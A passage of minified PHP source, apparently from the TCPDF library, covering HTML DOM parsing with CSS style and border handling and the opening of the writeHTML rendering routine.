color\'];$dom[$key][\'align\']=$dom[$parentkey][\'align\'];$dom[$key][\'listtype\']=$dom[$parentkey][\'listtype\'];$dom[$key][\'text-indent\']=$dom[$parentkey][\'text-indent\'];$dom[$key][\'text-transform\']=$dom[$parentkey][\'text-transform\'];$dom[$key][\'border\']=array();$dom[$key][\'dir\']=$dom[$parentkey][\'dir\'];}preg_match_all(\'/([^=\s]*)[\s]*=[\s]*"([^"]*)"/\',$element,$attr_array,PREG_PATTERN_ORDER);$dom[$key][\'attribute\']=array();while(list($id,$name)=each($attr_array[1])){$dom[$key][\'attribute\'][strtolower($name)]=$attr_array[2][$id];}if(!empty($css)){list($dom[$key][\'csssel\'],$dom[$key][\'cssdata\'])=TCPDF_STATIC::getCSSdataArray($dom,$key,$css);$dom[$key][\'attribute\'][\'style\']=TCPDF_STATIC::getTagStyleFromCSSarray($dom[$key][\'cssdata\']);}if(isset($dom[$key][\'attribute\'][\'style\']) AND !empty($dom[$key][\'attribute\'][\'style\'])){preg_match_all(\'/([^;:\s]*):([^;]*)/\',$dom[$key][\'attribute\'][\'style\'],$style_array,PREG_PATTERN_ORDER);$dom[$key][\'style\']=array();while(list($id,$name)=each($style_array[1])){$dom[$key][\'style\'][strtolower($name)]=trim($style_array[2][$id]);}if(isset($dom[$key][\'style\'][\'direction\'])){$dom[$key][\'dir\']=$dom[$key][\'style\'][\'direction\'];}if(isset($dom[$key][\'style\'][\'display\'])){$dom[$key][\'hide\']=(trim(strtolower($dom[$key][\'style\'][\'display\']))==\'none\');}if(isset($dom[$key][\'style\'][\'font-family\'])){$dom[$key][\'fontname\']=$this->getFontFamilyName($dom[$key][\'style\'][\'font-family\']);}if(isset($dom[$key][\'style\'][\'list-style-type\'])){$dom[$key][\'listtype\']=trim(strtolower($dom[$key][\'style\'][\'list-style-type\']));if($dom[$key][\'listtype\']==\'inherit\'){$dom[$key][\'listtype\']=$dom[$parentkey][\'listtype\'];}}if(isset($dom[$key][\'style\'][\'text-indent\'])){$dom[$key][\'text-indent\']=$this->getHTMLUnitToUnits($dom[$key][\'style\'][\'text-indent\']);if($dom[$key][\'text-indent\']==\'inherit\'){$dom[$key][\'text-indent\']=$dom[$parentkey][\'text-indent\'];}}if(isset($dom[$key][\'style\'][\'text-transform\'])){$dom[$key][\'text-transform\']=$dom[$key][\'style\'][\'text-transform\'];}if(isset($dom[$key][\'style\'][\'font-size\'])){$fsize=trim($dom[$key][\'style\'][\'font-size\']);$dom[$key][\'fontsize\']=$this->getHTMLFontUnits($fsize,$dom[0][\'fontsize\'],$dom[$parentkey][\'fontsize\'],\'pt\');}if(isset($dom[$key][\'style\'][\'font-stretch\'])){$dom[$key][\'font-stretch\']=$this->getCSSFontStretching($dom[$key][\'style\'][\'font-stretch\'],$dom[$parentkey][\'font-stretch\']);}if(isset($dom[$key][\'style\'][\'letter-spacing\'])){$dom[$key][\'letter-spacing\']=$this->getCSSFontSpacing($dom[$key][\'style\'][\'letter-spacing\'],$dom[$parentkey][\'letter-spacing\']);}if(isset($dom[$key][\'style\'][\'line-height\'])){$lineheight=trim($dom[$key][\'style\'][\'line-height\']);switch($lineheight){case \'normal\':{$dom[$key][\'line-height\']=$dom[0][\'line-height\'];break;}case \'inherit\':{$dom[$key][\'line-height\']=$dom[$parentkey][\'line-height\'];}default:{if(is_numeric($lineheight)){$lineheight=($lineheight*100).\'%\';}$dom[$key][\'line-height\']=$this->getHTMLUnitToUnits($lineheight,1,\'%\',true);if(substr($lineheight,-1)!==\'%\'){if($dom[$key][\'fontsize\']<=0){$dom[$key][\'line-height\']=1;}else {$dom[$key][\'line-height\']=(($dom[$key][\'line-height\']-$this->cell_padding[\'T\']-$this->cell_padding[\'B\'])/$dom[$key][\'fontsize\']);}}}}}if(isset($dom[$key][\'style\'][\'font-weight\'])){if(strtolower($dom[$key][\'style\'][\'font-weight\'][0])==\'n\'){if(strpos($dom[$key][\'fontstyle\'],\'B\')!==false){$dom[$key][\'fontstyle\']=str_replace(\'B\',\'\',$dom[$key][\'fontstyle\']);}}elseif(strtolower($dom[$key][\'style\'][\'font-weight\'][0])==\'b\'){$dom[$key][\'fontstyle\'].=\'B\';}}if(isset($dom[$key][\'style\'][\'font-style\']) AND (strtolower($dom[$key][\'style\'][\'font-style\'][0])==\'i\')){$dom[$key][\'fontstyle\'].=\'I\';}if(isset($dom[$key][\'style\'][\'color\']) AND (!TCPDF_STATIC::empty_string($dom[$key][\'style\'][\'color\']))){$dom[$key][\'fgcolor\']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key][\'style\'][\'color\'],$this->spot_colors);}elseif($dom[$key][\'value\']==\'a\'){$dom[$key][\'fgcolor\']=$this->htmlLinkColorArray;}if(isset($dom[$key][\'style\'][\'background-color\']) AND (!TCPDF_STATIC::empty_string($dom[$key][\'style\'][\'background-color\']))){$dom[$key][\'bgcolor\']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key][\'style\'][\'background-color\'],$this->spot_colors);}if(isset($dom[$key][\'style\'][\'text-decoration\'])){$decors=explode(\' \',strtolower($dom[$key][\'style\'][\'text-decoration\']));foreach($decors as $dec){$dec=trim($dec);if(!TCPDF_STATIC::empty_string($dec)){if($dec[0]==\'u\'){$dom[$key][\'fontstyle\'].=\'U\';}elseif($dec[0]==\'l\'){$dom[$key][\'fontstyle\'].=\'D\';}elseif($dec[0]==\'o\'){$dom[$key][\'fontstyle\'].=\'O\';}}}}elseif($dom[$key][\'value\']==\'a\'){$dom[$key][\'fontstyle\']=$this->htmlLinkFontStyle;}if(isset($dom[$key][\'style\'][\'width\'])){$dom[$key][\'width\']=$dom[$key][\'style\'][\'width\'];}if(isset($dom[$key][\'style\'][\'height\'])){$dom[$key][\'height\']=$dom[$key][\'style\'][\'height\'];}if(isset($dom[$key][\'style\'][\'text-align\'])){$dom[$key][\'align\']=strtoupper($dom[$key][\'style\'][\'text-align\'][0]);}if(isset($dom[$key][\'style\'][\'border\'])){$borderstyle=$this->getCSSBorderStyle($dom[$key][\'style\'][\'border\']);if(!empty($borderstyle)){$dom[$key][\'border\'][\'LTRB\']=$borderstyle;}}if(isset($dom[$key][\'style\'][\'border-color\'])){$brd_colors=preg_split(\'/[\s]+/\',trim($dom[$key][\'style\'][\'border-color\']));if(isset($brd_colors[3])){$dom[$key][\'border\'][\'L\'][\'color\']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[3],$this->spot_colors);}if(isset($brd_colors[1])){$dom[$key][\'border\'][\'R\'][\'color\']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[1],$this->spot_colors);}if(isset($brd_colors[0])){$dom[$key][\'border\'][\'T\'][\'color\']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[0],$this->spot_colors);}if(isset($brd_colors[2])){$dom[$key][\'border\'][\'B\'][\'color\']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[2],$this->spot_colors);}}if(isset($dom[$key][\'style\'][\'border-width\'])){$brd_widths=preg_split(\'/[\s]+/\',trim($dom[$key][\'style\'][\'border-width\']));if(isset($brd_widths[3])){$dom[$key][\'border\'][\'L\'][\'width\']=$this->getCSSBorderWidth($brd_widths[3]);}if(isset($brd_widths[1])){$dom[$key][\'border\'][\'R\'][\'width\']=$this->getCSSBorderWidth($brd_widths[1]);}if(isset($brd_widths[0])){$dom[$key][\'border\'][\'T\'][\'width\']=$this->getCSSBorderWidth($brd_widths[0]);}if(isset($brd_widths[2])){$dom[$key][\'border\'][\'B\'][\'width\']=$this->getCSSBorderWidth($brd_widths[2]);}}if(isset($dom[$key][\'style\'][\'border-style\'])){$brd_styles=preg_split(\'/[\s]+/\',trim($dom[$key][\'style\'][\'border-style\']));if(isset($brd_styles[3]) AND ($brd_styles[3]!=\'none\')){$dom[$key][\'border\'][\'L\'][\'cap\']=\'square\';$dom[$key][\'border\'][\'L\'][\'join\']=\'miter\';$dom[$key][\'border\'][\'L\'][\'dash\']=$this->getCSSBorderDashStyle($brd_styles[3]);if($dom[$key][\'border\'][\'L\'][\'dash\']<0){$dom[$key][\'border\'][\'L\']=array();}}if(isset($brd_styles[1])){$dom[$key][\'border\'][\'R\'][\'cap\']=\'square\';$dom[$key][\'border\'][\'R\'][\'join\']=\'miter\';$dom[$key][\'border\'][\'R\'][\'dash\']=$this->getCSSBorderDashStyle($brd_styles[1]);if($dom[$key][\'border\'][\'R\'][\'dash\']<0){$dom[$key][\'border\'][\'R\']=array();}}if(isset($brd_styles[0])){$dom[$key][\'border\'][\'T\'][\'cap\']=\'square\';$dom[$key][\'border\'][\'T\'][\'join\']=\'miter\';$dom[$key][\'border\'][\'T\'][\'dash\']=$this->getCSSBorderDashStyle($brd_styles[0]);if($dom[$key][\'border\'][\'T\'][\'dash\']<0){$dom[$key][\'border\'][\'T\']=array();}}if(isset($brd_styles[2])){$dom[$key][\'border\'][\'B\'][\'cap\']=\'square\';$dom[$key][\'border\'][\'B\'][\'join\']=\'miter\';$dom[$key][\'border\'][\'B\'][\'dash\']=$this->getCSSBorderDashStyle($brd_styles[2]);if($dom[$key][\'border\'][\'B\'][\'dash\']<0){$dom[$key][\'border\'][\'B\']=array();}}}$cellside=array(\'L\'=>\'left\',\'R\'=>\'right\',\'T\'=>\'top\',\'B\'=>\'bottom\');foreach($cellside as $bsk=>$bsv){if(isset($dom[$key][\'style\'][\'border-\'.$bsv])){$borderstyle=$this->getCSSBorderStyle($dom[$key][\'style\'][\'border-\'.$bsv]);if(!empty($borderstyle)){$dom[$key][\'border\'][$bsk]=$borderstyle;}}if(isset($dom[$key][\'style\'][\'border-\'.$bsv.\'-color\'])){$dom[$key][\'border\'][$bsk][\'color\']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key][\'style\'][\'border-\'.$bsv.\'-color\'],$this->spot_colors);}if(isset($dom[$key][\'style\'][\'border-\'.$bsv.\'-width\'])){$dom[$key][\'border\'][$bsk][\'width\']=$this->getCSSBorderWidth($dom[$key][\'style\'][\'border-\'.$bsv.\'-width\']);}if(isset($dom[$key][\'style\'][\'border-\'.$bsv.\'-style\'])){$dom[$key][\'border\'][$bsk][\'dash\']=$this->getCSSBorderDashStyle($dom[$key][\'style\'][\'border-\'.$bsv.\'-style\']);if($dom[$key][\'border\'][$bsk][\'dash\']<0){$dom[$key][\'border\'][$bsk]=array();}}}if(isset($dom[$key][\'style\'][\'padding\'])){$dom[$key][\'padding\']=$this->getCSSPadding($dom[$key][\'style\'][\'padding\']);}else {$dom[$key][\'padding\']=$this->cell_padding;}foreach($cellside as $psk=>$psv){if(isset($dom[$key][\'style\'][\'padding-\'.$psv])){$dom[$key][\'padding\'][$psk]=$this->getHTMLUnitToUnits($dom[$key][\'style\'][\'padding-\'.$psv],0,\'px\',false);}}if(isset($dom[$key][\'style\'][\'margin\'])){$dom[$key][\'margin\']=$this->getCSSMargin($dom[$key][\'style\'][\'margin\']);}else {$dom[$key][\'margin\']=$this->cell_margin;}foreach($cellside as $psk=>$psv){if(isset($dom[$key][\'style\'][\'margin-\'.$psv])){$dom[$key][\'margin\'][$psk]=$this->getHTMLUnitToUnits(str_replace(\'auto\',\'0\',$dom[$key][\'style\'][\'margin-\'.$psv]),0,\'px\',false);}}if(isset($dom[$key][\'style\'][\'border-spacing\'])){$dom[$key][\'border-spacing\']=$this->getCSSBorderMargin($dom[$key][\'style\'][\'border-spacing\']);}if(isset($dom[$key][\'style\'][\'page-break-inside\']) AND ($dom[$key][\'style\'][\'page-break-inside\']==\'avoid\')){$dom[$key][\'attribute\'][\'nobr\']=\'true\';}if(isset($dom[$key][\'style\'][\'page-break-before\'])){if($dom[$key][\'style\'][\'page-break-before\']==\'always\'){$dom[$key][\'attribute\'][\'pagebreak\']=\'true\';}elseif($dom[$key][\'style\'][\'page-break-before\']==\'left\'){$dom[$key][\'attribute\'][\'pagebreak\']=\'left\';}elseif($dom[$key][\'style\'][\'page-break-before\']==\'right\'){$dom[$key][\'attribute\'][\'pagebreak\']=\'right\';}}if(isset($dom[$key][\'style\'][\'page-break-after\'])){if($dom[$key][\'style\'][\'page-break-after\']==\'always\'){$dom[$key][\'attribute\'][\'pagebreakafter\']=\'true\';}elseif($dom[$key][\'style\'][\'page-break-after\']==\'left\'){$dom[$key][\'attribute\'][\'pagebreakafter\']=\'left\';}elseif($dom[$key][\'style\'][\'page-break-after\']==\'right\'){$dom[$key][\'attribute\'][\'pagebreakafter\']=\'right\';}}}if(isset($dom[$key][\'attribute\'][\'display\'])){$dom[$key][\'hide\']=(trim(strtolower($dom[$key][\'attribute\'][\'display\']))==\'none\');}if(isset($dom[$key][\'attribute\'][\'border\']) AND ($dom[$key][\'attribute\'][\'border\']!=0)){$borderstyle=$this->getCSSBorderStyle($dom[$key][\'attribute\'][\'border\'].\' solid black\');if(!empty($borderstyle)){$dom[$key][\'border\'][\'LTRB\']=$borderstyle;}}if($dom[$key][\'value\']==\'font\'){if(isset($dom[$key][\'attribute\'][\'face\'])){$dom[$key][\'fontname\']=$this->getFontFamilyName($dom[$key][\'attribute\'][\'face\']);}if(isset($dom[$key][\'attribute\'][\'size\'])){if($key>0){if($dom[$key][\'attribute\'][\'size\'][0]==\'+\'){$dom[$key][\'fontsize\']=$dom[($dom[$key][\'parent\'])][\'fontsize\']+intval(substr($dom[$key][\'attribute\'][\'size\'],1));}elseif($dom[$key][\'attribute\'][\'size\'][0]==\'-\'){$dom[$key][\'fontsize\']=$dom[($dom[$key][\'parent\'])][\'fontsize\']-intval(substr($dom[$key][\'attribute\'][\'size\'],1));}else {$dom[$key][\'fontsize\']=intval($dom[$key][\'attribute\'][\'size\']);}}else {$dom[$key][\'fontsize\']=intval($dom[$key][\'attribute\'][\'size\']);}}}if((($dom[$key][\'value\']==\'ul\') OR ($dom[$key][\'value\']==\'ol\') OR ($dom[$key][\'value\']==\'dl\')) AND (!isset($dom[$key][\'align\']) OR TCPDF_STATIC::empty_string($dom[$key][\'align\']) OR ($dom[$key][\'align\']!=\'J\'))){if($this->rtl){$dom[$key][\'align\']=\'R\';}else {$dom[$key][\'align\']=\'L\';}}if(($dom[$key][\'value\']==\'small\') OR ($dom[$key][\'value\']==\'sup\') OR ($dom[$key][\'value\']==\'sub\')){if(!isset($dom[$key][\'attribute\'][\'size\']) AND !isset($dom[$key][\'style\'][\'font-size\'])){$dom[$key][\'fontsize\']=$dom[$key][\'fontsize\']*K_SMALL_RATIO;}}if(($dom[$key][\'value\']==\'strong\') OR ($dom[$key][\'value\']==\'b\')){$dom[$key][\'fontstyle\'].=\'B\';}if(($dom[$key][\'value\']==\'em\') OR ($dom[$key][\'value\']==\'i\')){$dom[$key][\'fontstyle\'].=\'I\';}if($dom[$key][\'value\']==\'u\'){$dom[$key][\'fontstyle\'].=\'U\';}if(($dom[$key][\'value\']==\'del\') OR ($dom[$key][\'value\']==\'s\') OR ($dom[$key][\'value\']==\'strike\')){$dom[$key][\'fontstyle\'].=\'D\';}if(!isset($dom[$key][\'style\'][\'text-decoration\']) AND ($dom[$key][\'value\']==\'a\')){$dom[$key][\'fontstyle\']=$this->htmlLinkFontStyle;}if(($dom[$key][\'value\']==\'pre\') OR ($dom[$key][\'value\']==\'tt\')){$dom[$key][\'fontname\']=$this->default_monospaced_font;}if(!empty($dom[$key][\'value\']) AND ($dom[$key][\'value\'][0]==\'h\') AND (intval($dom[$key][\'value\']{1})>0) AND (intval($dom[$key][\'value\']{1})<7)){if(!isset($dom[$key][\'attribute\'][\'size\']) AND !isset($dom[$key][\'style\'][\'font-size\'])){$headsize=(4-intval($dom[$key][\'value\']{1}))*2;$dom[$key][\'fontsize\']=$dom[0][\'fontsize\']+$headsize;}if(!isset($dom[$key][\'style\'][\'font-weight\'])){$dom[$key][\'fontstyle\'].=\'B\';}}if(($dom[$key][\'value\']==\'table\')){$dom[$key][\'rows\']=0;$dom[$key][\'trids\']=array();$dom[$key][\'thead\']=\'\';}if(($dom[$key][\'value\']==\'tr\')){$dom[$key][\'cols\']=0;if($thead){$dom[$key][\'thead\']=true;}else {$dom[$key][\'thead\']=false;++$dom[($dom[$key][\'parent\'])][\'rows\'];array_push($dom[($dom[$key][\'parent\'])][\'trids\'],$key);}}if(($dom[$key][\'value\']==\'th\') OR ($dom[$key][\'value\']==\'td\')){if(isset($dom[$key][\'attribute\'][\'colspan\'])){$colspan=intval($dom[$key][\'attribute\'][\'colspan\']);}else {$colspan=1;}$dom[$key][\'attribute\'][\'colspan\']=$colspan;$dom[($dom[$key][\'parent\'])][\'cols\']+=$colspan;}if(isset($dom[$key][\'attribute\'][\'dir\'])){$dom[$key][\'dir\']=$dom[$key][\'attribute\'][\'dir\'];}if(isset($dom[$key][\'attribute\'][\'color\']) AND (!TCPDF_STATIC::empty_string($dom[$key][\'attribute\'][\'color\']))){$dom[$key][\'fgcolor\']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key][\'attribute\'][\'color\'],$this->spot_colors);}elseif(!isset($dom[$key][\'style\'][\'color\']) AND ($dom[$key][\'value\']==\'a\')){$dom[$key][\'fgcolor\']=$this->htmlLinkColorArray;}if(isset($dom[$key][\'attribute\'][\'bgcolor\']) AND (!TCPDF_STATIC::empty_string($dom[$key][\'attribute\'][\'bgcolor\']))){$dom[$key][\'bgcolor\']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key][\'attribute\'][\'bgcolor\'],$this->spot_colors);}if(isset($dom[$key][\'attribute\'][\'strokecolor\']) AND (!TCPDF_STATIC::empty_string($dom[$key][\'attribute\'][\'strokecolor\']))){$dom[$key][\'strokecolor\']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key][\'attribute\'][\'strokecolor\'],$this->spot_colors);}if(isset($dom[$key][\'attribute\'][\'width\'])){$dom[$key][\'width\']=$dom[$key][\'attribute\'][\'width\'];}if(isset($dom[$key][\'attribute\'][\'height\'])){$dom[$key][\'height\']=$dom[$key][\'attribute\'][\'height\'];}if(isset($dom[$key][\'attribute\'][\'align\']) AND (!TCPDF_STATIC::empty_string($dom[$key][\'attribute\'][\'align\'])) AND ($dom[$key][\'value\']!==\'img\')){$dom[$key][\'align\']=strtoupper($dom[$key][\'attribute\'][\'align\'][0]);}if(isset($dom[$key][\'attribute\'][\'stroke\'])){$dom[$key][\'stroke\']=$this->getHTMLUnitToUnits($dom[$key][\'attribute\'][\'stroke\'],$dom[$key][\'fontsize\'],\'pt\',true);}if(isset($dom[$key][\'attribute\'][\'fill\'])){if($dom[$key][\'attribute\'][\'fill\']==\'true\'){$dom[$key][\'fill\']=true;}else {$dom[$key][\'fill\']=false;}}if(isset($dom[$key][\'attribute\'][\'clip\'])){if($dom[$key][\'attribute\'][\'clip\']==\'true\'){$dom[$key][\'clip\']=true;}else {$dom[$key][\'clip\']=false;}}}}else {$dom[$key][\'tag\']=false;$dom[$key][\'block\']=false;$dom[$key][\'parent\']=end($level);$dom[$key][\'dir\']=$dom[$dom[$key][\'parent\']][\'dir\'];if(!empty($dom[$dom[$key][\'parent\']][\'text-transform\'])){if(function_exists(\'mb_convert_case\')){$ttm=array(\'capitalize\'=>MB_CASE_TITLE,\'uppercase\'=>MB_CASE_UPPER,\'lowercase\'=>MB_CASE_LOWER);if(isset($ttm[$dom[$dom[$key][\'parent\']][\'text-transform\']])){$element=mb_convert_case($element,$ttm[$dom[$dom[$key][\'parent\']][\'text-transform\']],$this->encoding);}}elseif(!$this->isunicode){switch($dom[$dom[$key][\'parent\']][\'text-transform\']){case \'capitalize\':{$element=ucwords(strtolower($element));break;}case \'uppercase\':{$element=strtoupper($element);break;}case \'lowercase\':{$element=strtolower($element);break;}}}}$dom[$key][\'value\']=stripslashes($this->unhtmlentities($element));}++$elkey;++$key;}return $dom;} function getSpaceString(){$spacestr=chr(32);if($this->isUnicodeFont()){$spacestr=chr(0).chr(32);}return $spacestr;} function getHashForTCPDFtagParams($data){return md5(strlen($data).$this->file_id.$data);} function serializeTCPDFtagParameters($data){$encoded=urlencode(json_encode($data));return $this->getHashForTCPDFtagParams($encoded).$encoded;} function unserializeTCPDFtagParameters($data){$hash=substr($data,0,32);$encoded=substr($data,32);if($hash!=$this->getHashForTCPDFtagParams($encoded)){$this->Error(\'Invalid parameters\');}return json_decode(urldecode($encoded),true);} function writeHTMLCell($w,$h,$x,$y,$html=\'\',$border=0,$ln=0,$fill=false,$reseth=true,$align=\'\',$autopadding=true){return $this->MultiCell($w,$h,$html,$border,$align,$fill,$ln,$x,$y,$reseth,0,true,$autopadding,0,\'T\',false);} function writeHTML($html,$ln=true,$fill=false,$reseth=false,$cell=false,$align=\'\'){$gvars=$this->getGraphicVars();$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$prevPage=$this->page;$prevlMargin=$this->lMargin;$prevrMargin=$this->rMargin;$curfontname=$this->FontFamily;$curfontstyle=$this->FontStyle;$curfontsize=$this->FontSizePt;$curfontascent=$this->getFontAscent($curfontname,$curfontstyle,$curfontsize);$curfontdescent=$this->getFontDescent($curfontname,$curfontstyle,$curfontsize);$curfontstretcing=$this->font_stretching;$curfonttracking=$this->font_spacing;$this->newline=true;$newline=true;$startlinepage=$this->page;$minstartliney=$this->y;$maxbottomliney=0;$startlinex=$this->x;$startliney=$this->y;$yshift=0;$loop=0;$curpos=0;$this_method_vars=array();$undo=false;$fontaligned=false;$reverse_dir=false;$this->premode=false;if($this->inxobj){$pask=count($this->xobjects[$this->xobjid][\'annotations\']);}elseif(isset($this->PageAnnots[$this->page])){$pask=count($this->PageAnnots[$this->page]);}else {$pask=0;}if($this->inxobj){$startlinepos=strlen($this->xobjects[$this->xobjid][\'outdata\']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$startlinepos=$this->footerpos[$this->page];}else {$startlinepos=$this->pagelen[$this->page];}$lalign=$align;$plalign=$align;if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}$w-=($this->cell_padding[\'L\']+$this->cell_padding[\'R\']);if($cell){if($this->rtl){$this->x-=$this->cell_padding[\'R\'];$this->lMargin+=$this->cell_padding[\'R\'];}else {$this->x+=$this->cell_padding[\'L\'];$this->rMargin+=$this->cell_padding[\'L\'];}}if($this->customlistindent>=0){$this->listindent=$this->customlistindent;}else {$this->listindent=$this->GetStringWidth(\'000000\');}$this->listindentlevel=0;$prev_cell_height_ratio=$this->cell_height_ratio;$prev_listnum=$this->listnum;$prev_listordered=$this->listordered;$prev_listcount=$this->listcount;$prev_lispacer=$this->lispacer;$this->listnum=0;$this->listordered=array();$this->listcount=array();$this->lispacer=\'\';if((TCPDF_STATIC::empty_string($this->lasth)) OR ($reseth)){$this->resetLastH();}$dom=$this->getHtmlDomArray($html);$maxel=count($dom);$key=0;while($key<$maxel){if($dom[$key][\'tag\'] AND $dom[$key][\'opening\'] AND $dom[$key][\'hide\']){$hidden_node_key=$key;if($dom[$key][\'self\']){++$key;}else {while(($key<$maxel) AND (!$dom[$key][\'tag\'] OR $dom[$key][\'opening\'] OR ($dom[$key][\'parent\']!=$hidden_node_key))){++$key;}++$key;}}if($dom[$key][\'tag\'] AND isset($dom[$key][\'attribute\'][\'pagebreak\'])){if(($dom[$key][\'attribute\'][\'pagebreak\']==\'true\') OR ($dom[$key][\'attribute\'][\'pagebreak\']==\'left\') OR ($dom[$key][\'attribute\'][\'pagebreak\']==\'right\')){$this->checkPageBreak($this->PageBreakTrigger+1);$this->htmlvspace=($this->PageBreakTrigger+1);}if((($dom[$key][\'attribute\'][\'pagebreak\']==\'left\') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($dom[$key][\'attribute\'][\'pagebreak\']==\'right\') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);$this->htmlvspace=($this->PageBreakTrigger+1);}}if($dom[$key][\'tag\'] AND $dom[$key][\'opening\'] AND isset($dom[$key][\'attribute\'][\'nobr\']) AND ($dom[$key][\'attribute\'][\'nobr\']==\'true\')){if(isset($dom[($dom[$key][\'parent\'])][\'attribute\'][\'nobr\']) AND ($dom[($dom[$key][\'parent\'])][\'attribute\'][\'nobr\']==\'true\')){$dom[$key][\'attribute\'][\'nobr\']=false;}else {$this->startTransaction();$this_method_vars[\'html\']=$html;$this_method_vars[\'ln\']=$ln;$this_method_vars[\'fill\']=$fill;$this_method_vars[\'reseth\']=$reseth;$this_method_vars[\'cell\']=$cell;$this_method_vars[\'align\']=$align;$this_method_vars[\'gvars\']=$gvars;$this_method_vars[\'prevPage\']=$prevPage;$this_method_vars[\'prev_cell_margin\']=$prev_cell_margin;$this_method_vars[\'prev_cell_padding\']=$prev_cell_padding;$this_method_vars[\'prevlMargin\']=$prevlMargin;$this_method_vars[\'prevrMargin\']=$prevrMargin;$this_method_vars[\'curfontname\']=$curfontname;$this_method_vars[\'curfontstyle\']=$curfontstyle;$this_method_vars[\'curfontsize\']=$curfontsize;$this_method_vars[\'curfontascent\']=$curfontascent;$this_method_vars[\'curfontdescent\']=$curfontdescent;$this_method_vars[\'curfontstretcing\']=$curfontstretcing;$this_method_vars[\'curfonttracking\']=$curfonttracking;$this_method_vars[\'minstartliney\']=$minstartliney;$this_method_vars[\'maxbottomliney\']=$maxbottomliney;$this_method_vars[\'yshift\']=$yshift;$this_method_vars[\'startlinepage\']=$startlinepage;$this_method_vars[\'startlinepos\']=$startlinepos;$this_method_vars[\'startlinex\']=$startlinex;$this_method_vars[\'startliney\']=$startliney;$this_method_vars[\'newline\']=$newline;$this_method_vars[\'loop\']=$loop;$this_method_vars[\'curpos\']=$curpos;$this_method_vars[\'pask\']=$pask;$this_method_vars[\'lalign\']=$lalign;$this_method_vars[\'plalign\']=$plalign;$this_method_vars[\'w\']=$w;$this_method_vars[\'prev_cell_height_ratio\']=$prev_cell_height_ratio;$this_method_vars[\'prev_listnum\']=$prev_listnum;$this_method_vars[\'prev_listordered\']=$prev_listordered;$this_method_vars[\'prev_listcount\']=$prev_listcount;$this_method_vars[\'prev_lispacer\']=$prev_lispacer;$this_method_vars[\'fontaligned\']=$fontaligned;$this_method_vars[\'key\']=$key;$this_method_vars[\'dom\']=$dom;}}if(($dom[$key][\'value\']==\'tr\') AND isset($dom[$key][\'thead\']) AND $dom[$key][\'thead\']){if(isset($dom[$key][\'parent\']) AND isset($dom[$dom[$key][\'parent\']][\'thead\']) AND !TCPDF_STATIC::empty_string($dom[$dom[$key][\'parent\']][\'thead\'])){$this->inthead=true;$this->writeHTML($this->thead,false,false,false,false,\'\');if(($this->y<$this->start_transaction_y) OR ($this->checkPageBreak($this->lasth,\'\',false))){$this->rollbackTransaction(true);foreach($this_method_vars as $vkey=>$vval){$$vkey=$vval;}$tmp_thead=$this->thead;$this->thead=\'\';$pre_y=$this->y;if((!$this->checkPageBreak($this->PageBreakTrigger+1)) AND ($this->y<$pre_y)){$startliney=$this->y;}$this->start_transaction_page=$this->page;$this->start_transaction_y=$this->y;$this->thead=$tmp_thead;if(isset($dom[$dom[$key][\'parent\']][\'attribute\'][\'cellspacing\'])){$tmp_cellspacing=$this->getHTMLUnitToUnits($dom[$dom[$key][\'parent\']][\'attribute\'][\'cellspacing\'],1,\'px\');}elseif(isset($dom[$dom[$key][\'parent\']][\'border-spacing\'])){$tmp_cellspacing=$dom[$dom[$key][\'parent\']][\'border-spacing\'][\'V\'];}else {$tmp_cellspacing=0;}$dom[$dom[$key][\'parent\']][\'borderposition\'][\'page\']=$this->page;$dom[$dom[$key][\'parent\']][\'borderposition\'][\'column\']=$this->current_column;$dom[$dom[$key][\'parent\']][\'borderposition\'][\'y\']=$this->y+$tmp_cellspacing;$xoffset=($this->x-$dom[$dom[$key][\'parent\']][\'borderposition\'][\'x\']);$dom[$dom[$key][\'parent\']][\'borderposition\'][\'x\']+=$xoffset;$dom[$dom[$key][\'parent\']][\'borderposition\'][\'xmax\']+=$xoffset;$this->writeHTML($this->thead,false,false,false,false,\'\');}}while(($key<$maxel) AND (!(($dom[$key][\'tag\'] AND $dom[$key][\'opening\'] AND ($dom[$key][\'value\']==\'tr\') AND (!isset($dom[$key][\'thead\']) OR !$dom[$key][\'thead\'])) OR ($dom[$key][\'tag\'] AND (!$dom[$key][\'opening\']) AND ($dom[$key][\'value\']==\'table\'))))){++$key;}}if($dom[$key][\'tag\'] OR ($key==0)){if((($dom[$key][\'value\']==\'table\') OR ($dom[$key][\'value\']==\'tr\')) AND (isset($dom[$key][\'align\']))){$dom[$key][\'align\']=($this->rtl)?\'R\':\'L\';}if((!$this->newline) AND ($dom[$key][\'value\']==\'img\') AND (isset($dom[$key][\'height\'])) AND ($dom[$key][\'height\']>0)){$imgh=$this->getHTMLUnitToUnits($dom[$key][\'height\'],($dom[$key][\'fontsize\']/$this->k),\'px\');$autolinebreak=false;if(!empty($dom[$key][\'width\'])){$imgw=$this->getHTMLUnitToUnits($dom[$key][\'width\'],($dom[$key][\'fontsize\']/$this->k),\'px\',false);if(($imgw<=($this->w-$this->lMargin-$this->rMargin-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'])) AND ((($this->rtl) AND (($this->x-$imgw)<($this->lMargin+$this->cell_padding[\'L\']))) OR ((!$this->rtl) AND (($this->x+$imgw)>($this->w-$this->rMargin-$this->cell_padding[\'R\']))))){$autolinebreak=true;$this->Ln(\'\',$cell);if((!$dom[($key-1)][\'tag\']) AND ($dom[($key-1)][\'value\']==\' \')){--$key;}}}if(!$autolinebreak){if($this->inPageBody()){$pre_y=$this->y;if((!$this->checkPageBreak($imgh)) AND 